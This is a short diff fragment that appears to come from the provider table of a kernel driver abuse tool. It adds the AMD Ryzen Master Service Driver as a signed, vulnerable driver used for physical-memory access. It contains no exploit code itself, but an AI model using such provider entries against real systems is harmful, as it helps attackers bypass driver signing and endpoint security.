IDR_AMD_RYZENMASTER, + KDU_PROVIDER_AMD_RYZENMASTER, + SourceBaseNone, + KDUPROV_FLAGS_SIGNATURE_WHQL | KDUPROV_FLAGS_PHYSICAL_BRUTE_FORCE, + KDUPROV_SC_ALL_DEFAULT, + (LPWSTR)L"AMD Ryzen Master Service Driver", + (LPWSTR)L"AMDRyzenMasterDriver", + (LPWSTR)L"AMDRyzenMasterDriverV20", + (LPWSTR)L"Advanced Micro Devices Inc.", } };